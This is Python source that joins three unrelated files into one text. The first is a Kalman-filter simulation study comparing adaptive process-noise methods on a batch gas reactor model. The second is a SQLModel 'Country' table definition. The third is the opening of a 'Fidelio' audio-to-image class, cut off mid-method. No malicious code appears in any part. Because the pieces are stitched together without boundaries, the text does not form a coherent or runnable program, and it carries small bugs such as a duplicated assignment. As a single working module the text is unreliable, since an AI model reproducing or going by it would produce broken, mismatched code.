# -*- coding: utf-8 -*-
"""
Created on Fri Jan  7 09:34:34 2022

@author: halvorak
"""

# -*- coding: utf-8 -*-
"""
Created on Tue Dec 21 15:47:32 2021

@author: halvorak
"""

# -*- coding: utf-8 -*-
"""
Created on Mon Nov 22 09:10:12 2021

@author: halvorak
"""

import numpy as np

import matplotlib.pyplot as plt
import matplotlib
import pathlib
import os
import scipy.linalg
import scipy.stats
import copy
import time
import timeit
import pandas as pd
import seaborn as sns

#Self-written modules
from state_estimator import sigma_points_classes as spc
from state_estimator import UKF
from state_estimator import unscented_transform as ut
from state_estimator import myExceptions
import utils_batch_gasreactor as utils_gr
font = {'size': 14}
matplotlib.rc('font', **font)
# cmap = "tab10"
# plt.set_cmap(cmap)

#%% Set N simulation times
N_sim = 100 #this is how many times to repeat each iteration
overwrite_results = True #overwrites the saved results
points_x = "genut" #sigma-point method in the propagataion step
# points_x = "scaled"
sqrt_method = lambda P: scipy.linalg.cholesky(P, lower = True) #for sigma-points
x_var = ["A", "B", "C"]
dim_x = len(x_var)
power_par = 3.

cost_func_type = "RMSE" #other valid option is "valappil"

filters_to_run = ["gut", "lin", "mc"]

N_mc_dist = int(1e3) #Numer of MC samples to estimate w~(w^,Q) in Valappil's approach

#Cost function. Check both mean and rmse
j_valappil_gut = np.zeros((dim_x, N_sim))
j_valappil_mc = np.zeros((dim_x, N_sim))
j_valappil_lin = np.zeros((dim_x, N_sim))

j_mean_gut = np.zeros((dim_x, N_sim))
j_mean_mc = np.zeros((dim_x, N_sim))
j_mean_lin = np.zeros((dim_x, N_sim))

time_sim_gut = np.zeros(N_sim)
time_sim_mc = np.zeros(N_sim)
time_sim_lin = np.zeros(N_sim)

Ni = 0
rand_seed = 6969

ts = time.time() #total start time
ti = time.time() #iteration time for a MC run

print_subiter = True #print certain timesteps for a single case
num_exceptions = 0 #number of times we fail and start over
while Ni < N_sim:
    try:
        np.random.seed(rand_seed) #to get reproducible results. rand_seed updated in every iteration
        t_iter = time.time()

        #%% Import parameters
        dt_y = .25 # [-] Measurement frequency
        x0, P0, par_mean_fx, par_cov_fx, cm3_par, cm4_par, par_samples, Q_nom, R_nom = utils_gr.get_literature_values_points_dist(dt_y, N_samples = int(1e6), power_par = power_par)

        #%% Define dimensions and initialize arrays

        dim_x = x0.shape[0]
        dim_par_fx = par_cov_fx.shape[0]

        t_end = 30 # []
        t = np.linspace(0, t_end, int(t_end/dt_y))
        dim_t = t.shape[0]

        y0 = utils_gr.hx(x0)
        dim_y = y0.shape[0]
        y = np.zeros((dim_y, dim_t))
        y[:, 0] = y0*np.nan

        #%% Allocate initial arrays and set x0
        x0_dist = scipy.stats.multivariate_normal(mean = x0, cov = P0)
        try:
            x0_kf = utils_gr.get_positive_point(x0_dist, eps=1e-10) # random value from x0_kf from the multivariate normal dist with (mean=x0_true, cov = P0) and x0_kf >= eps
        except AssertionError:
            x0_kf = x0.copy() + 1e-10

        #Arrays where values are stored
        x_true = np.zeros((dim_x, dim_t))
        x_ol = np.zeros((dim_x, dim_t)) #Open loop simulation - same starting point and param as UKF

        #Arrays where posterior prediction is stored
        x_post_gut = np.zeros((dim_x, dim_t))
        x_post_mc = np.zeros((dim_x, dim_t))
        x_post_lin = np.zeros((dim_x, dim_t))

        #Track history of computed w_mean-s
        w_gut_hist = np.zeros((dim_x, dim_t))
        w_mc_hist = np.zeros((dim_x, dim_t))

        #Track history of computed Q-s (only diagonals)
        Q_gut_hist = np.zeros((dim_x, dim_t))
        Q_mc_hist = np.zeros((dim_x, dim_t))
        Q_lin_hist = np.zeros((dim_x, dim_t))

        #diagnonal elements of covariance matrices
        P_diag_post_gut = np.zeros((dim_x, dim_t))
        P_diag_post_mc = np.zeros((dim_x, dim_t))
        P_diag_post_lin = np.zeros((dim_x, dim_t))

        #save the starting points for the true system and the filters
        x_true[:, 0] = x0
        x_post_gut[:, 0] = x0_kf.copy()
        x_post_mc[:, 0] = x0_kf.copy()
        x_post_lin[:, 0] = x0_kf.copy()
        x0_ol = x0_kf.copy()
        x_ol[:, 0] = x0_ol

        #save starting points for covariance matrices
        P_diag_post_gut[:, 0] = np.diag(P0.copy())
        P_diag_post_mc[:, 0] = np.diag(P0.copy())
        P_diag_post_lin[:, 0] = np.diag(P0.copy())

        t_span = (t[0],t[1])
        #%% Define UKF with adaptive Q, R from GenUT
        lbx = .0
        k_positive = 1 - 1e-8
        if points_x == "scaled":
            alpha = 1e-2
            beta = 2.
            kappa = 0.#3-dim_x
            points_gut = spc.ScaledSigmaPoints(dim_x,
                                                    alpha,
                                                    beta,
                                                    kappa, sqrt_method = sqrt_method)
        elif points_x == "genut":
            points_gut = spc.GenUTSigmaPoints(dim_x, sqrt_method = sqrt_method, theta = k_positive, lbx = lbx)

        fx_ukf_gut = None #updated later in the simulation
        kfc_gut = UKF.UKF_additive_noise(x0_kf.copy(), P0.copy(), None, utils_gr.hx, points_gut, Q_nom, R_nom, name="gut")

        #%% Define UKF with adaptive Q, R from MC
        if points_x == "scaled":
            alpha_mc = copy.copy(alpha)
            beta_mc = copy.copy(beta)
            kappa_mc = copy.copy(kappa)
            points_mc = spc.ScaledSigmaPoints(dim_x,
                                                    alpha_mc,
                                                    beta_mc,
                                                    kappa_mc, sqrt_method = sqrt_method)
        elif points_x == "genut":
            points_mc = spc.GenUTSigmaPoints(dim_x, sqrt_method = sqrt_method, theta = k_positive, lbx = lbx)

        kfc_mc = UKF.UKF_additive_noise(x0_kf.copy(), P0.copy(), None, utils_gr.hx, points_mc, Q_nom, R_nom, name="mc")

        #%% Define UKF with adaptive Q, R from linearized approach
        if points_x == "scaled":
            alpha_lin = copy.copy(alpha)
            beta_lin = copy.copy(beta)
            kappa_lin = copy.copy(kappa)
            points_lin = spc.ScaledSigmaPoints(dim_x,
                                                    alpha_lin,
                                                    beta_lin,
                                                    kappa_lin, sqrt_method = sqrt_method)
        elif points_x == "genut":
            points_lin = spc.GenUTSigmaPoints(dim_x, sqrt_method = sqrt_method, theta = k_positive, lbx = lbx)

        kfc_lin = UKF.UKF_additive_noise(x0_kf.copy(), P0.copy(), None, utils_gr.hx, points_lin, Q_nom, R_nom, name="lin")

        #%% Get parametric uncertainty of fx by GenUT. Generate sigmapoints first ("offline")
        positive_sigmas_par = True
        k_positive_par = k_positive
        points_par = spc.GenUTSigmaPoints(dim_par_fx, sqrt_method = sqrt_method, theta = k_positive_par, lbx = lbx)

        sigmas_fx_gut, w_fx_gut, _, _ = points_par.compute_sigma_points(np.array(list(par_mean_fx.values())), par_cov_fx, S = cm3_par, K = cm4_par)

        #%% N_MC samples, random sampling

        par_mc_fx = par_samples[np.random.randint(0, high = par_samples.shape[0], size = N_mc_dist), :]

        if False: #plot MC samples
            df_par_mc = pd.DataFrame(data = par_mc_fx, columns = [r"$k_" + str(i+1) + "$" for i in range(dim_par_fx)])
            sns.pairplot(df_par_mc, corner = True)

            std_dev_par = np.sqrt(np.diag(par_cov_fx))
            std_dev_inv = np.diag([1/si for si in std_dev_par])
            corr_par = std_dev_inv @ par_cov_fx @ std_dev_inv
            # raise ValueError
        par_mc_fx = par_mc_fx.T

        #%% Q_fixed, robustness
        Q_diag_min = np.eye(dim_x)*1e-10

        #%% Casadi integrator, jacobian df/dp
        F, jac_p_func, x_var_cd, p_var_cd,_,=  utils_gr.ode_model_plant(dt_y, power_par = power_par)
        assert dim_x == x_var_cd.shape[0], "Dimension mismatch between x0 and x_var_cd"

        #%% Simulate the plant

        par_true_val = par_samples[np.random.randint(0, high = par_samples.shape[0]), :] #same through entire simulation
        # par_true_val = utils_gr.get_points(par_dist_multivar, par_dist_univar, N = 1, constraint = 1e-10) #same through entire simulation
        par_true_fx = {key: val for key, val in zip(par_mean_fx.keys(), par_true_val)} #integrator function takes the parameters as a dict
        for i in range(1, dim_t):
            t_span = (t[i-1], t[i])

            #sample parameter values for the plant
            par_true_val = par_true_val = par_samples[np.random.randint(0, high = par_samples.shape[0]), :]
            assert (par_true_val > 0).all()
            par_true_fx = {key: val for key, val in zip(par_mean_fx.keys(), par_true_val)}

            #Simulate the true plant
            x_true[:, i] = utils_gr.integrate_ode(F,
                                                  x_true[:,i-1],
                                                  par_true_fx)

            #if we obtain a negative x_true-value, it is unphysical and due to the numerical integration. If negative value is detected, set the value to 0 (or close to)
            neg_xtrue_val = x_true[:, i] <= 0
            x_true[neg_xtrue_val, i] = 1e-10

            #Simulate the open loop (kf parameters and starting point)
            x_ol[:, i] = utils_gr.integrate_ode(F,
                                                x_ol[:,i-1],
                                                par_mean_fx)
            #Make a new measurement
            vk = np.array([np.random.normal(0, sig_i) for sig_i in np.sqrt(np.diag(R_nom))])
            y[:, i] = utils_gr.hx(x_true[:, i]) + vk

        y[:, 0] = np.nan #the 1st measurement is not real, just for programming convenience

        #%% Run state estimators on the entire measurement set
        #Get i) process noise statistics and ii) prior estimates for the different UKFs

        if "gut" in filters_to_run:
            #Adaptive Q by GenUT
            ts_gut = timeit.default_timer()
            for i in range(1, dim_t):
                x_nom_gut = utils_gr.integrate_ode(F, x_post_gut[:,i-1], par_mean_fx)

                #function for calculating Qk
                fx_gen_Q_gut = lambda si: utils_gr.fx_for_UT_gen_Q(si, list(par_mean_fx.keys()).copy(), F, x_post_gut[:, i-1], par_mean_fx.copy()) - x_nom_gut

                w_mean_gut, Q_gut = ut.unscented_transform_w_function_eval(sigmas_fx_gut.copy(), w_fx_gut, w_fx_gut, fx_gen_Q_gut, first_yi = np.zeros(dim_x)) #calculate Qk. The first propagated sigma-point contains only zeros

                Q_gut = Q_gut + Q_diag_min #robustness/non-zero on diagonals
                kfc_gut.Q = Q_gut #assign to filter
                w_gut_hist[:, i] = w_mean_gut #Save w_mean history
                Q_gut_hist[:, i] = np.diag(Q_gut) #Save Q history

                #Normal UKF
                fx_ukf_gut = lambda x: utils_gr.integrate_ode(F, x, par_mean_fx)
                kfc_gut.predict(fx = fx_ukf_gut, w_mean = w_mean_gut)
                kfc_gut.update(y[:, i], hx = utils_gr.hx)

                #Save estimates
                x_post_gut[:, i] = kfc_gut.x_post
                P_diag_post_gut[:, i] = np.diag(kfc_gut.P_post)

            tf_gut = timeit.default_timer()
            time_sim_gut[Ni] = tf_gut - ts_gut

        if "lin" in filters_to_run:
            #Adaptive Q by linearization
            ts_lin = timeit.default_timer()
            for i in range(1, dim_t):

                Q_lin = utils_gr.get_Q_from_linearization(jac_p_func,
                                                          x_post_lin[:, i-1], par_mean_fx.copy(), par_cov_fx)
                Q_lin = Q_lin + Q_diag_min #robustness/non-zero on diagonals
                kfc_lin.Q = Q_lin #assign to filter
                Q_lin_hist[:, i] = np.diag(Q_lin) #Save Q history

                #Normal UKF
                fx_ukf_lin = lambda x: utils_gr.integrate_ode(F, x, par_mean_fx)
                kfc_lin.predict(fx = fx_ukf_lin)
                kfc_lin.update(y[:, i], hx = utils_gr.hx)

                #Save estimates
                x_post_lin[:, i] = kfc_lin.x_post
                P_diag_post_lin[:, i] = np.diag(kfc_lin.P_post)

            tf_lin = timeit.default_timer()
            time_sim_lin[Ni] = tf_lin - ts_lin

        if "mc" in filters_to_run:
            #Adaptive Q by MC random and w_mean
            ts_mc = timeit.default_timer()
            for i in range(1, dim_t):
                t_span = (t[i-1], t[i])

                w_mean_mc, Q_mc = utils_gr.get_wmean_Q_from_mc(par_mc_fx.copy(),
                                                                F,
                                                                x_post_mc[:, i-1],
                                                                par_mean_fx.copy())
                Q_mc = Q_mc + Q_diag_min #robustness/non-zero on diagonals
                w_mc_hist[:, i] = w_mean_mc #Save w_mean history
                Q_mc_hist[:, i] = np.diag(Q_mc) #Save Q history
                kfc_mc.Q = Q_mc #assign to filter

                #Normal UKF
                fx_ukf_mc = lambda x: utils_gr.integrate_ode(F, x, par_mean_fx)
                kfc_mc.predict(fx = fx_ukf_mc, w_mean = w_mean_mc)
                kfc_mc.update(y[:, i])

                #Save estimates
                x_post_mc[:, i] = kfc_mc.x_post
                P_diag_post_mc[:, i] = np.diag(kfc_mc.P_post)
                # if i%10 == 0:
                #     print(f"Iter {i}/{dim_t} in MC tuning")

            tf_mc = timeit.default_timer()
            time_sim_mc[Ni] = tf_mc - ts_mc

        #%% Compute performance index
        value_filter_not_run = 1 #same cost as OL response

        if "gut" in filters_to_run:
            j_valappil_gut[:, Ni] = utils_gr.compute_performance_index_valappil(
                x_post_gut,
                                                                             x_ol,
                                                                             x_true, cost_func = cost_func_type)
            j_mean_gut[:, Ni] = np.mean(x_post_gut - x_true, axis = 1)
        else:
            j_valappil_gut[:, Ni] = value_filter_not_run

        if "mc" in filters_to_run:
            j_valappil_mc[:, Ni] = utils_gr.compute_performance_index_valappil(x_post_mc,
                                                                             x_ol,
                                                                             x_true, cost_func = cost_func_type)
            j_mean_mc[:, Ni] = np.mean(x_post_mc - x_true, axis = 1)
        else:
            j_valappil_mc[:, Ni] = value_filter_not_run

        if "lin" in filters_to_run:
            j_valappil_lin[:, Ni] = utils_gr.compute_performance_index_valappil(x_post_lin,
                                                                             x_ol,
                                                                             x_true, cost_func = cost_func_type)
            j_mean_lin[:, Ni] = np.mean(x_post_lin - x_true, axis = 1)
        else:
            j_valappil_lin[:, Ni] = value_filter_not_run

        j_valappil_i = np.vstack((j_valappil_gut[:, Ni],
                                  j_valappil_mc[:, Ni],
                                  j_valappil_lin[:, Ni],
                                  )).T

        Ni += 1
        rand_seed += 1
        time_iteration = time.time() - t_iter
        if (Ni%1 == 0): #print every Xth iteration
            print(f"Iter {Ni}/{N_sim} done. t_iter = {time.time()-t_iter: .2f} s and t_tot = {(time.time()-ts)/60: .1f} min")
    except KeyboardInterrupt as user_error:
        raise user_error
    except myExceptions.NegativeSigmaPoint as neg_sigma:
        print(neg_sigma)
        print(f"Re-doing iteration Ni = {Ni}")
        num_exceptions += 1
        rand_seed += 1
        continue
    except BaseException as e: #this is literally taking all possible exceptions
        print(e)
        num_exceptions += 1
        rand_seed += 1
        print(f"Iter: {i}: Time spent, t_iter = {time.time()-ti: .2f} s ")
        continue

#%% Plot x, x_pred, y
ylabels = [ r"$c_A$ [-]", r"$c_B [-]$", r"$c_C [-]$"]

print(f"Repeated {N_sim} time(s). In every iteration, the number of model evaluations for computing noise statistics:\n",
      f"Q by UT: {sigmas_fx_gut.shape[1]}\n",
      f"Q by MC: {N_mc_dist}\n"
      )

plot_it = True
if plot_it:
    alpha_fill = .2
    kwargs_pred = {"linestyle": "dashed"}
    kwargs_gut = {"alpha": alpha_fill}
    kwargs_mc = {"alpha": alpha_fill}
    kwargs_lin = {"alpha": alpha_fill}
    #
    meas_idx = np.array([])
    idx_y = 0
    filters_to_plot = [
        "gut",
        # "mc",
        "lin",
        # "ol"
        ]

    font = {'size': 16}
    matplotlib.rc('font', **font)
    fig1, ax1 = plt.subplots(dim_x, 1, sharex = True, layout = "constrained", figsize = (9,6))

    plt_std_dev = True #plots 1 and 2 std dev around mean with shading
    for i in range(dim_x): #plot true states and ukf's estimates
        #plot true state
        ax1[i].plot(t, x_true[i, :], label = r"$x_{true}$")
        # ax1[i].plot(t, x_true[i, :], label = r"$x_{true}$", color = 'b')

        #plot measurements
        if i in meas_idx:
            ax1[i].scatter(t, y[idx_y, :],
                            color = "m",
                            # color = l[0].get_color(),
                            s = 2,
                            alpha = .2,
                            marker = "o",
                            label = r"$y$")
            idx_y += 1

        #plot state predictions
        #Q_gut
        if "gut" in filters_to_plot:
            l_gut = ax1[i].plot(t, x_post_gut[i, :], label = r"$\hat{x}^+_{GenUT}$", **kwargs_pred)

        #Q_mc
        if "mc" in filters_to_plot:
            l_mc = ax1[i].plot(t, x_post_mc[i, :], label = r"$\hat{x}^+_{mc}$", **kwargs_pred)

        #Q_lin
        if "lin" in filters_to_plot:
            l_lin = ax1[i].plot(t, x_post_lin[i, :], label = r"$\hat{x}^+_{Lin}$", **kwargs_pred)

        if plt_std_dev: #plot shading around mean trajectory
            #Genut
            if "gut" in filters_to_plot:
                kwargs_gut.update({"color": l_gut[0].get_color()})
                ax1[i].fill_between(t,
                                    x_post_gut[i, :] + 2*np.sqrt(P_diag_post_gut[i,:]),
                                    x_post_gut[i, :] - 2*np.sqrt(P_diag_post_gut[i,:]),
                                    **kwargs_gut)
                ax1[i].fill_between(t,
                                    x_post_gut[i, :] + 1*np.sqrt(P_diag_post_gut[i,:]),
                                    x_post_gut[i, :] - 1*np.sqrt(P_diag_post_gut[i,:]),
                                    **kwargs_gut)

            #mc
            if "mc" in filters_to_plot:
                kwargs_mc.update({"color": l_mc[0].get_color()})
                ax1[i].fill_between(t,
                                    x_post_mc[i, :] + 2*np.sqrt(P_diag_post_mc[i,:]),
                                    x_post_mc[i, :] - 2*np.sqrt(P_diag_post_mc[i,:]),
                                    **kwargs_mc)
                ax1[i].fill_between(t,
                                    x_post_mc[i, :] + 1*np.sqrt(P_diag_post_mc[i,:]),
                                    x_post_mc[i, :] - 1*np.sqrt(P_diag_post_mc[i,:]),
                                    **kwargs_mc)

            #Linearized
            if "lin" in filters_to_plot:
                kwargs_lin.update({"color": l_lin[0].get_color()})
                ax1[i].fill_between(t,
                                    x_post_lin[i, :] + 2*np.sqrt(P_diag_post_lin[i,:]),
                                    x_post_lin[i, :] - 2*np.sqrt(P_diag_post_lin[i,:]),
                                    **kwargs_lin)
                ax1[i].fill_between(t,
                                    x_post_lin[i, :] + 1*np.sqrt(P_diag_post_lin[i,:]),
                                    x_post_lin[i, :] - 1*np.sqrt(P_diag_post_lin[i,:]),
                                    **kwargs_lin)

        ylim_scaled = ax1[i].get_ylim()
        ax1[i].yaxis.set_major_formatter(matplotlib.ticker.FormatStrFormatter('%.2f'))

        if "ol" in filters_to_plot:
            ax1[i].plot(t, x_ol[i, :], label = "OL", **kwargs_pred)
        ax1[i].set_ylabel(ylabels[i])
        # ax1[i].legend(frameon = False, ncol = 3)
    ax1[-1].set_xlabel("Time [h]")

    if True: #inset additional zoomed axis on last axes
        ax_c = ax1[-1].inset_axes([0.5, 0.4, 0.35, 0.3])

        #replot in this new axes
        i = 2
        #plot true state
        ax_c.plot(t, x_true[i, :], label = r"$x_{true}$")
        # ax_c.plot(t, x_true[i, :], label = r"$x_{true}$", color = 'b')

        #plot measurements
        if i in meas_idx:
            ax_c.scatter(t, y[idx_y, :],
                            color = "m",
                            # color = l[0].get_color(),
                            s = 2,
                            alpha = .2,
                            marker = "o",
                            label = r"$y$")
            idx_y += 1

        #plot state predictions
        #Q_gut
        if "gut" in filters_to_plot:
            l_gut = ax_c.plot(t, x_post_gut[i, :], label = r"$\hat{x}^+_{GenUT}$", **kwargs_pred)

        #Q_mc
        if "mc" in filters_to_plot:
            l_mc = ax_c.plot(t, x_post_mc[i, :], label = r"$\hat{x}^+_{mc}$", **kwargs_pred)

        #Q_lin
        if "lin" in filters_to_plot:
            l_lin = ax_c.plot(t, x_post_lin[i, :], label = r"$\hat{x}^+_{Lin}$", **kwargs_pred)

        if plt_std_dev: #plot shading around mean trajectory
            #Genut
            if "gut" in filters_to_plot:
                kwargs_gut.update({"color": l_gut[0].get_color()})
                ax_c.fill_between(t,
                                    x_post_gut[i, :] + 2*np.sqrt(P_diag_post_gut[i,:]),
                                    x_post_gut[i, :] - 2*np.sqrt(P_diag_post_gut[i,:]),
                                    **kwargs_gut)
                ax_c.fill_between(t,
                                    x_post_gut[i, :] + 1*np.sqrt(P_diag_post_gut[i,:]),
                                    x_post_gut[i, :] - 1*np.sqrt(P_diag_post_gut[i,:]),
                                    **kwargs_gut)

            #mc
            if "mc" in filters_to_plot:
                kwargs_mc.update({"color": l_mc[0].get_color()})
                ax_c.fill_between(t,
                                    x_post_mc[i, :] + 2*np.sqrt(P_diag_post_mc[i,:]),
                                    x_post_mc[i, :] - 2*np.sqrt(P_diag_post_mc[i,:]),
                                    **kwargs_mc)
                ax_c.fill_between(t,
                                    x_post_mc[i, :] + 1*np.sqrt(P_diag_post_mc[i,:]),
                                    x_post_mc[i, :] - 1*np.sqrt(P_diag_post_mc[i,:]),
                                    **kwargs_mc)

            #Linearized
            if "lin" in filters_to_plot:
                kwargs_lin.update({"color": l_lin[0].get_color()})
                ax_c.fill_between(t,
                                    x_post_lin[i, :] + 2*np.sqrt(P_diag_post_lin[i,:]),
                                    x_post_lin[i, :] - 2*np.sqrt(P_diag_post_lin[i,:]),
                                    **kwargs_lin)
                ax_c.fill_between(t,
                                    x_post_lin[i, :] + 1*np.sqrt(P_diag_post_lin[i,:]),
                                    x_post_lin[i, :] - 1*np.sqrt(P_diag_post_lin[i,:]),
                                    **kwargs_lin)

        #zoom in on desired subregion
        x1, x2, y1, y2 = 20, 25, 0.645, 0.67
        ax_c.set_xlim((x1, x2))
        ax_c.set_ylim((y1, y2))
        ax_c.set_yticklabels([])
        ax_c.set_xlabel(None)
        ax_c.set_ylabel(None)

        ax1[-1].indicate_inset_zoom(ax_c, edgecolor = "black")

    ax1[0].legend(ncol = 2, frameon = False)

    #%% Plot trajectories in same plot
    fig_x, ax_x = plt.subplots(1,1, layout = "constrained")
    kwargs_x_true = {"linestyle": "dashed"}
    label_true = [r"$c_A$", r"$c_B$", r"$c_C$"]
    label_post = [r"$\hat{c}_A^+$", r"$\hat{c}_B^+$", r"$\hat{c}_C^+$"]
    kwargs_post = {"color": None, "alpha": .2}

    for i in range(dim_x):
        l_x = ax_x.plot(t, x_true[i, :], **kwargs_x_true, label = label_true[i])

        ax_x.plot(t, x_post_gut[i,:], l_x[0].get_color(), label = label_post[i])

        kwargs_post.update({"color": l_x[0].get_color()})
        ax_x.fill_between(t,
                            x_post_gut[i, :] + 2*np.sqrt(P_diag_post_gut[i,:]),
                            x_post_gut[i, :] - 2*np.sqrt(P_diag_post_gut[i,:]),
                            **kwargs_post)
        ax_x.fill_between(t,
                            x_post_gut[i, :] + 1*np.sqrt(P_diag_post_gut[i,:]),
                            x_post_gut[i, :] - 1*np.sqrt(P_diag_post_gut[i,:]),
                            **kwargs_post)

    ax_x.legend()
    ax_x.set_ylabel("Concentration")
    ax_x.set_xlabel("Time")

    #%% Plot w_mean-history
    w_labels = [r"$\hat{w}_{GenUT}$", r"$\hat{w}_{MC}$"]
    y_labels = [ r"$c_A$", r"$c_B$", r"$c_C$"]#
    fig_w, ax_w = plt.subplots(dim_x, 1 ,sharex = True, layout = "constrained")
    if dim_x == 1:
        ax_w = [ax_w]
    for i in range(dim_x):
        ax_w[i].plot(t, w_gut_hist[i, :], label = w_labels[0])
        ax_w[i].plot(t, w_mc_hist[i, :], label = w_labels[1])
        ax_w[i].set_ylabel(y_labels[i])
        # ax_w[i].yaxis.set_major_formatter(matplotlib.ticker.FormatStrFormatter('%.0e'))
        ax_w[i].ticklabel_format(scilimits=(-4, 8))
    ax_w[-1].set_xlabel("Time")
    ax_w[0].legend()

    #%% Plot Q-history
    q_labels = [r"$Q_{GenUT}$", r"$Q_{MC}$", r"$Q_{Lin}$"]
    y_labels = [ r"$c_A$", r"$c_B$", r"$c_C$"]#
    kwargs_qplot = {}#{"linestyle": "dashed"}
    matplotlib.rc('font', **font)
    fig_q, ax_q = plt.subplots(dim_x, 1 ,sharex = True, layout = "constrained")
    if dim_x == 1:
        ax_q = [ax_q]
    for i in range(dim_x):
        ax_q[i].plot(t, Q_gut_hist[i, :], label = q_labels[0], **kwargs_qplot)
        ax_q[i].plot(t, Q_mc_hist[i, :], label = q_labels[1], **kwargs_qplot)
        ax_q[i].plot(t, Q_lin_hist[i, :], label = q_labels[2], **kwargs_qplot)
        ax_q[i].set_ylabel(y_labels[i])
    ax_q[-1].set_xlabel("Time")
    ax_q[0].legend(ncol = 3)

    #%% Cost functions
if N_sim >= 5: #only compute this if we have done some iteration
    cols = ["A","B", "C"]
    df_cost_rmse_gut = pd.DataFrame(data = j_valappil_gut.T.copy(), columns = cols)
    df_cost_rmse_mc = pd.DataFrame(data = j_valappil_mc.T.copy(), columns = cols)
    df_cost_rmse_lin = pd.DataFrame(data = j_valappil_lin.T.copy(), columns = cols)

    df_cost_rmse_all = pd.concat(dict(
                                  lin = df_cost_rmse_lin,
                                  gut = df_cost_rmse_gut,
                                  mc = df_cost_rmse_mc,
                                  ), axis = 1)

    df_cost_mean_gut = pd.DataFrame(data = j_mean_gut.T.copy(), columns = cols)
    df_cost_mean_mc = pd.DataFrame(data = j_mean_mc.T.copy(), columns = cols)
    df_cost_mean_lin = pd.DataFrame(data = j_mean_lin.T.copy(), columns = cols)

    df_cost_mean_all = pd.concat(dict(
                                  lin = df_cost_mean_lin,
                                  gut = df_cost_mean_gut,
                                  mc = df_cost_mean_mc
                                  ), axis = 1)

#%% Simultation time plot

df_t_gut = pd.DataFrame(data = time_sim_gut.T, columns = ["Run time [s]"])
df_t_gut["Filter"] = "gut"

df_t_lin = pd.DataFrame(data = time_sim_lin.T, columns = ["Run time [s]"])
df_t_lin["Filter"] = "lin"

df_t_mc = pd.DataFrame(data = time_sim_mc.T, columns = ["Run time [s]"])
df_t_mc["Filter"] = "mc"

df_t = pd.concat([df_t_gut,
                  df_t_lin,
                   df_t_mc], ignore_index = True)

del df_t_gut, df_t_lin, df_t_mc

fig_rt, ax_rt = plt.subplots(1, 1, layout = "constrained")
sns.violinplot(x = "Filter", y = "Run time [s]", data = df_t, split = True, ax = ax_rt, alpha = .2, legend = False, inner = "stick")
plt.setp(ax_rt.collections, alpha=.3)

handles_leg, labels_leg = ax_rt.get_legend_handles_labels()
ax_rt.legend(handles_leg[-2:], labels_leg[-2:])
ax_rt.set_yscale('log')

#%% Save variables
dir_project = pathlib.Path(__file__).parent.parent
dir_data = os.path.join(dir_project, "data_gasreactor")
if not os.path.exists(dir_data):
    os.mkdir(dir_data)

if overwrite_results:
    df_t.to_csv(os.path.join(dir_data, "sim_time.csv"))
    if "df_cost_rmse_all" in locals(): #check if variable exists
        df_cost_rmse_all.to_csv(os.path.join(dir_data, "df_cost_rmse_all.csv"))
        df_cost_mean_all.to_csv(os.path.join(dir_data, "df_cost_mean_all.csv"))

#%% rmse_mean in table
rmse_mean_table = df_cost_rmse_all.mean().unstack(level = 1)
rmse_std_table = df_cost_rmse_all.std().unstack(level = 1)
print(f"\nrmse_mean_table*100:\n{rmse_mean_table*100}")
print(f"\nrmse_mean/rmse_mean_gut*100:\n{(rmse_mean_table/rmse_mean_table.loc['gut',:])*100}")

print(f"\nrmse_std_table*100:\n{rmse_std_table*100}")


from typing import Optional

from geoalchemy2.types import Geometry
from sqlmodel import Column, Field, SQLModel

class Country(SQLModel, table=True):
    class Config:
        arbitrary_types_allowed = True

    id: Optional[int] = Field(default=None, primary_key=True)
    name: str
    population: int
    geometry: Geometry = Field(
        sa_column=Column(Geometry(geometry_type="POLYGON", srid=3035))
    )


# -*- coding: utf-8 -*-

"""
This file has written by Burak Topal and Melih Tolga Şahin.
Theese codes are mainframe of "fidelio project".
In theese codes, we used some third party tools like ffmpeg.
This is an open source project and source can be find at github.

"""
import hashlib
import shutil
import subprocess
import os
import threading

import numpy as np
import scipy.io.wavfile

from PIL import Image

class Fidelio(threading.Thread):
    """
    Core of fidelio project.
    Inherited from threading.Thread and this means this class calling as a thread.
    """
    def __init__(self, file_name, uploaded_file_path):
        threading.Thread.__init__(self)
        self.event = threading.Event()
        self.file_name = file_name
        self.finished = False
        self.samplerate = 0

        self.file_md5_name = self.create_md5('assets/' + file_name)
        # os.mkdir(self.file_md5_name)
        os.makedirs('assets/' + self.file_md5_name)
        self.path = os.path.join(os.path.dirname(__file__), 'assets', self.file_md5_name)

        self.samplerate, self.data = self.convert_to_wav(file_name, uploaded_file_path)

        self.candy_list = []
        self.candy_rainbow_list = []
        self.candy_triple_sort_list = []
        self.candy_reverse_list = []
        self.candy_reverse_dark_list = []
        self.candy_non_sort_list = []
        self.candy_tan_list = []

        self.candy_path = ''
        self.candy_rainbow_path = ''
        self.candy_triple_sort_path = ''
        self.candy_non_sort_path = ''
        self.candy_reverse_path = ''
        self.candy_reverse_dark_path = ''
        self.candy_tan_path = ''
        self.gif_path = ''

    def search(self):
        print('SEARCH BAŞLADI')
        counter = 0

        for row in range(0, 1080):

            y = []
            w = []
            z = []
            q = []

            for col in range(0, 1920):
                y.append([self.data[counter][0], np.sin(self.data[counter][0]), np.cos(self.data[counter][0])])
                z.append(
                    [0 - self.data[counter][0], 0 - np.sin(self.data[counter][0]), 0 - np.cos(self.data[counter][0])])
                w.append([255 - self.data[counter][0], 255 - np.sin(self.data[counter][0]),
                          255 - np.cos(self.data[counter][0])])
                q.append([np.tan(self.data[counter][0]), np.sin(self.data[counter][0]), np.cos(self.data[counter][0])])
                counter += 1

            self.candy_list.append(y)
            self.candy_rainbow_list.append(y)
            self.candy_triple_sort_list.append(y)
            self.candy_non_sort_list.append(y)
            self.candy_reverse_list.append(z)
            self.candy_reverse_dark_list.append(w)
            self.candy_tan_list.append(q)
        print('SEARCH BİTTİ')

    # 1
    def candy(self):

        liste = np.array(self.candy_list)
        liste.sort(axis=0)

        img = Image.fromarray(liste, 'RGB')
        self.candy_path = '/assets/' + self.file_md5_name + '/001.png'
        img.save(self.path + '/001.png')

    # 1
    def candy_rainbow(self):

        liste = np.array(self.candy_rainbow_list)
        liste.sort(axis=0)

        for x in liste:
            x.sort(axis=0)

        img = Image.fromarray(liste, 'RGB')
        self.candy_rainbow_path = '/assets/' + self.file_md5_name + '/002.png'
        img.save(self.path + '/002.png')

    # 1
    def candy_triple_sort(self):

        liste = np.array(self.candy_triple_sort_list)
        liste.sort(axis=0)
        liste = np.sort(liste)

        for z in liste:
            z.argsort(axis=0)

        img = Image.fromarray(liste, 'RGB')
        self.candy_triple_sort_path = '/assets/' + self.file_md5_name + '/003.png'
        img.save(self.path + '/003.png')

    # 1
    def candy_non_sort(self):

        liste = np.array(self.candy_non_sort_list)
        img = Image.fromarray(liste, 'RGB')
